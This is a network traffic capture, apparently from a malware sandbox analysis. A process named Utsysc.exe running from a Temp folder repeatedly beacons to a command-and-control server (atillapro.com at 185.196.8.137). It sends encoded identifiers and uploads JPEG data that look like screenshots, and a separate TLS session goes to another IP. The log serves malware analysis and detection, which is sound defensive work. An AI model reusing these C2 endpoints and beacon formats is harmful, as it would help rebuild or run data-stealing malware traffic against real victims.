Apr 10, 2024 10:24:48.296937943 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:48.296938896 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:48.296998024 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:48.296998024 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:48.296998024 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:48.296998024 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:48.297019005 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:48.297091007 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:48.297091007 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:48.297091007 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:49.654689074 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49783	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:48.592022896 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:48.778220892 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:48.806272030 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:48.996395111 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49784	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:49.296861887 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:49.482996941 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:49.483958006 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:49.685030937 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49785	216.250.255.115	80	2928	C:\Windows\System32\OpenWith.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:49.764147997 CEST	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 66 16 4c d0 ba e4 50 c4 f4 ab e0 a6 d7 a6 40 d0 b8 2b 81 e1 47 73 03 88 0a 43 8b 47 0a cc 95 77 00 00 50 cc a8 cc a9 cc aa c0 2c c0 30 00 9f c0 24 c0 28 00 6b c0 0a c0 14 00 39 c0 2b c0 2f 00 9e c0 23 c0 27 00 67 Data Ascii: fLP@+GsCGwP,0$(k9+/#'g3=52*.&</1)-%H#
Apr 10, 2024 10:24:49.930366993 CEST	1289	IN	Data Raw: 16 03 03 00 37 02 00 00 33 03 03 31 78 fa fa 9b 36 a4 62 2d 2e 31 e5 45 ef f4 73 8e df 10 b7 16 a6 cb cd 16 7a 3c 1f 49 04 09 7c 00 cc a8 00 00 0b ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 03 ab 0b 00 03 a7 00 03 a4 00 03 a1 30 82 03 9d 30 82 02 Data Ascii: 731x6b-.1Esz<I\|00A`.eVhe0*H0~10UXX10UN/A10UN/A1 0USelf-signed certificate110/U(216.250.255.115: Self-signed c
Apr 10, 2024 10:24:49.930387020 CEST	130	IN	Data Raw: 4a 5b 63 11 01 da 6a 3f 07 69 41 5f 1e e9 bc d4 99 dd c3 9f 58 65 af 35 bc 0b e7 22 86 68 6a b5 31 a4 32 32 cc b5 c6 f6 3c 3c 18 b9 dd e6 a8 45 99 d1 7d bb 9b cc e8 0e dd 5f ff 54 cf 58 b4 2c 71 fe 83 d2 8c 03 34 ef 2f 1a 94 04 27 6c 59 3e 68 af Data Ascii: J[cj?iA_Xe5"hj122<<E}_TX,q4/'lY>h~I-f}s~!_*J'f}z
Apr 10, 2024 10:24:49.938497066 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 00 b0 0a 62 49 25 53 46 23 ab 4d f8 b9 eb fe 67 d6 5c 66 df f8 c3 a3 07 31 d9 86 b8 ca be fd 4b aa 96 3f 71 e5 35 fa 70 34 bc 03 02 3a e3 65 0a aa 2e ac c9 0f eb 86 da 9f 25 20 b5 dd 3b b5 c2 29 c7 00 ad a1 04 d4 Data Ascii: bI%SF#Mg\f1K?q5p4:e.% ;)P7I6?E4J!dE-k0A1GTYQr\|( Og$q}1]1>If_5
Apr 10, 2024 10:24:50.112437010 CEST	43	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 20 d6 b6 9c 81 52 15 8c 0c b0 df ee 64 33 65 f8 65 16 3b a0 1b cd 0a 23 79 8c 8e ac 73 04 aa 64 43 Data Ascii: Rd3ee;#ysdC
Apr 10, 2024 10:24:50.112766027 CEST	531	OUT	Data Raw: 17 03 03 02 0e e5 b6 bb 83 74 66 9c af 1a 31 a7 96 f8 d9 00 7b a5 19 07 26 37 c2 21 1d a1 8b 6f 52 53 33 ea 77 3e e0 3b 90 7c 4d 88 84 a5 a4 32 8e 5f c5 6e a6 70 2f cf f1 7f ce 15 80 d3 11 65 ab c6 aa 22 11 4d 81 ec 4c b8 dd 54 1f 5d 80 c2 bb 30 Data Ascii: tf1{&7!oRS3w>;\|M2_np/e"MLT]0qTg>i?Qg=frt!D@iWh;CB.\R,U5Bf1r0%ZK~>xb*]u01[&cnZ_my]9{`^E"Zwn
Apr 10, 2024 10:24:50.276391983 CEST	177	IN	Data Raw: 17 03 03 00 ac a3 24 da f9 fa c4 33 c5 44 37 99 74 80 93 b0 8e 08 7b ba 94 f3 9f 24 33 24 1a 62 fd 6e 9a 75 fc 97 68 ea 0b f4 35 33 ac f9 fd 3a d4 ed c7 d2 8c 78 dc 9d aa 6f f4 29 ba fa d8 2f ba 94 a3 ee 03 33 24 91 2c 08 a1 05 ad db 6c 41 c6 8a Data Ascii: $3D7t{$3$bnuh53:xo)/3$,lA8Fj{g[ml`>Nn3UpS1}-w#U?Bo-=Q:
Apr 10, 2024 10:24:50.282129049 CEST	29	OUT	Data Raw: 17 03 03 00 18 f1 9b e7 6d 18 a6 47 1a 6b 43 7f 98 14 98 11 01 01 54 ea b7 eb 2a aa b0 Data Ascii: mGkCT*
Apr 10, 2024 10:24:50.441843987 CEST	193	OUT	Data Raw: 17 03 03 00 bc 3c 71 7b 4c 35 ad a6 29 b9 00 8d 3b 92 e4 c8 1d 5e 37 81 8b d4 34 94 04 3c 4c a4 dc 9b 8b 97 d7 cc c5 f6 11 f6 1e cf 24 b4 68 61 b1 18 8a b7 10 c9 63 fa 6e 80 91 ed 3f 35 29 2e 1b b5 2c 20 23 26 c3 7b 96 26 d1 b3 99 b9 02 55 51 5b Data Ascii: <q{L5);^74<L$hacn?5)., #&{&UQ[~*O;K8 er%?r@({f{eGn)s^zV88u$$WGMDq>G$(-6ws+:C
Apr 10, 2024 10:24:50.601900101 CEST	119	IN	Data Raw: 17 03 03 00 72 dc 3d ff c0 17 5c 52 45 04 5d 56 b7 9d a1 9c 87 e9 de 60 ac d3 32 3e 97 79 4b 2c da 16 0d 27 e1 dc 56 9f d7 8b 48 ba be eb 30 3d 13 44 f3 e1 15 c6 a3 d7 06 fa b2 ac b4 f7 84 c4 e6 41 c5 a7 25 b3 82 57 7e a0 19 36 5e 04 2b 71 a2 ca Data Ascii: r=\RE]V`2>yK,'VH0=DA%W~6^+qQuXfjEO/[M7[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49786	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:49.999488115 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:50.185671091 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:50.186712027 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:50.385750055 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49787	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:50.151448011 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTEwNDE= Host: atillapro.com Content-Length: 91193 Cache-Control: no-cache
Apr 10, 2024 10:24:50.151529074 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 45 77 4e 44 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTEwNDE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:50.151659966 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:50.151702881 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:50.151702881 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:50.151731014 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:50.151731014 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:50.151763916 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:50.151763916 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:50.151798010 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:50.151798010 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:51.295314074 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49788	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:50.785023928 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:50.971626997 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:50.972352028 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:51.169651985 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49789	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:51.468712091 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:51.655082941 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:51.656965017 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:51.847136974 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49790	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:51.737088919 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwODc= Host: atillapro.com Content-Length: 85239 Cache-Control: no-cache
Apr 10, 2024 10:24:51.737236023 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 44 63 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwODc=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:51.737236023 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:51.737297058 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:51.737360001 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:51.737360001 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:51.737405062 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:51.737441063 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:51.737441063 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:51.737495899 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:51.737495899 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:52.357709885 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49791	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:52.225518942 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:52.412014008 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:52.413149118 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:52.621160984 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49792	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:52.752573013 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwODc= Host: atillapro.com Content-Length: 85239 Cache-Control: no-cache
Apr 10, 2024 10:24:52.752724886 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 44 63 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwODc=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:52.752724886 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:52.752785921 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:52.752787113 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:52.752834082 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:52.752834082 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:52.752895117 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:52.752896070 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:52.752943993 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:52.752943993 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:54.066539049 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49793	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:52.922760010 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:53.108913898 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:53.112396002 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:53.323018074 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49794	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:53.623410940 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:53.810849905 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
